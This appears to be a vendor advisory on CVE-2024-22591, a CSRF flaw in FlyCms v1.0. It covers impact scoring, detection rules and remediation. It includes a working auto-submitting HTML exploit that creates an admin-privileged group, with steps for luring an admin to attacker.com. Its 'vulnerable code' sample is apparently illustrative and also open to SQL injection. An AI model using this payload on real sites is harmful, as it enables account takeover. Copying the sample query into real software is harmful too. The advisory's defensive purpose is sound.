CVE-2024-22591

Executive Summary

CVE-2024-22591 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/user/group_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing malicious actions, such as modifying user group permissions or creating new privileged accounts. The vulnerability is classified under CWE-352 and has a CVSS v3.1 base score of 8.8 (High), due to the potential for complete compromise of confidentiality, integrity, and availability. No official patch has been released, and the vendor’s status remains unknown. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is elevated for targeted attacks against FlyCms deployments.

Supply Chain & Package Security

FlyCms is a PHP-based content management system. This vulnerability does not directly affect NPM, PyPI, Go, or Ruby packages. However, organizations using FlyCms should verify the integrity of their installation and monitor for any third-party plugins or themes that may introduce additional CSRF vectors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must be an authenticated admin and click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although the EPSS score is low, the impact of successful exploitation is severe, allowing an attacker to perform any action the victim admin can, including creating new admin accounts, modifying site content, or exfiltrating data.

Deep Dive & Mechanics

The vulnerability resides in the group_save function of FlyCms v1.0, which handles user group creation and modification. The endpoint /system/user/group_save does not implement anti-CSRF tokens or origin/referer validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged POST request to this endpoint. The request can include parameters to create a new user group with elevated privileges or modify existing groups.

Attack Flow:

1. Attacker identifies a FlyCms instance with an active admin session.
2. Attacker crafts a malicious page (e.g., hosted on attacker-controlled domain) containing an auto-submitting form or an XHR request targeting /system/user/group_save.
3. Attacker lures the admin to visit the malicious page (e.g., via phishing email or social engineering).
4. The admin’s browser sends the forged request, including the admin’s session cookie (due to same-origin policy limitations, the attacker cannot read the response but the request is executed).
5. The server processes the request, creating or modifying user groups as specified by the attacker.

Root Cause: Lack of CSRF protection mechanisms such as:

• Anti-CSRF tokens (nonces)
• SameSite cookie attribute
• Origin/Referer header validation

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on best practices for CSRF mitigation.

Vulnerable Code (FlyCms v1.0 - /system/user/group_save):

<?php
// No CSRF token check
$group_name = $_POST['group_name'];
$permissions = $_POST['permissions'];
// Save group to database
$db->query("INSERT INTO user_groups (name, permissions) VALUES ('$group_name', '$permissions')");
?>

Patched Code (Recommended):

<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
$group_name = htmlspecialchars($_POST['group_name'], ENT_QUOTES, 'UTF-8');
$permissions = json_encode($_POST['permissions']); // Assume permissions is an array
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("INSERT INTO user_groups (name, permissions) VALUES (?, ?)");
$stmt->bind_param("ss", $group_name, $permissions);
$stmt->execute();
?>

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A FlyCms v1.0 instance with an authenticated admin session.
• Ability to host a malicious HTML page (e.g., using a simple HTTP server).

Exploit Payload (HTML):

<!DOCTYPE html>
<html>
<head>
    <title>Click Me</title>
</head>
<body>
    <h1>Please click the button to continue</h1>
    <form id="csrf-form" action="http://target-flycms.com/system/user/group_save" method="POST">
        <input type="hidden" name="group_name" value="hacker_group">
        <input type="hidden" name="permissions" value='{"admin":1,"edit":1,"delete":1}'>
        <input type="submit" value="Submit">
    </form>
    <script>
        // Auto-submit on page load
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

Usage:

1. Host the above HTML on a server (e.g., python3 -m http.server 8080).
2. Send the link to the victim admin (e.g., http://attacker.com/exploit.html).
3. Once the admin visits the page, the form auto-submits, creating a new user group with admin privileges.

Note: The attacker cannot read the response due to same-origin policy, but the action is executed.

Blue Team (Defender)

Detection Steps:

1. Monitor logs for unusual POST requests to /system/user/group_save from unexpected referers.
2. Check for creation of new user groups with elevated permissions outside of normal administrative activity.
3. Implement CSRF tokens immediately (see Remediation section).

Lab Setup for Testing:

• Install FlyCms v1.0 in a controlled environment (e.g., Docker container).
• Use Burp Suite or OWASP ZAP to intercept and replay requests.
• Verify CSRF vulnerability by sending a forged request without a token.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /system/user/group_save with Referer header not matching the FlyCms domain.
  • Unusual user agent strings (e.g., empty or generic) in admin session requests.
• Host IOCs:
  • New user groups in the database with names like hacker_group, admin_backup, etc.
  • Unexpected entries in server access logs with POST /system/user/group_save from external IPs.
• File IOCs:
  • No specific file changes, but check for modified configuration files if the attacker escalates privileges.

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against FlyCms /system/user/group_save"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-22591"
    strings:
        $csrf_endpoint = "/system/user/group_save"
        $group_name = "group_name"
        $permissions = "permissions"
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to FlyCms /system/user/group_save without proper CSRF token
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri: '/system/user/group_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/user/group_save"; http.request_body; content:"group_name"; content:"permissions"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, unpredictable token to each form and validate it on the server side.
2. Use SameSite Cookies: Set the SameSite attribute to Strict or Lax on session cookies.
3. Validate Origin/Referer: Check the Origin or Referer header to ensure requests originate from the same site.

Long-Term Fix:

• Upgrade to a patched version of FlyCms if/when available.
• Conduct a full security audit of the application for similar CSRF vulnerabilities.

Workaround:

• If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.
• Use a Web Application Firewall (WAF) to block requests to /system/user/group_save from untrusted origins.

Valters IT
Securing Digital Frontiers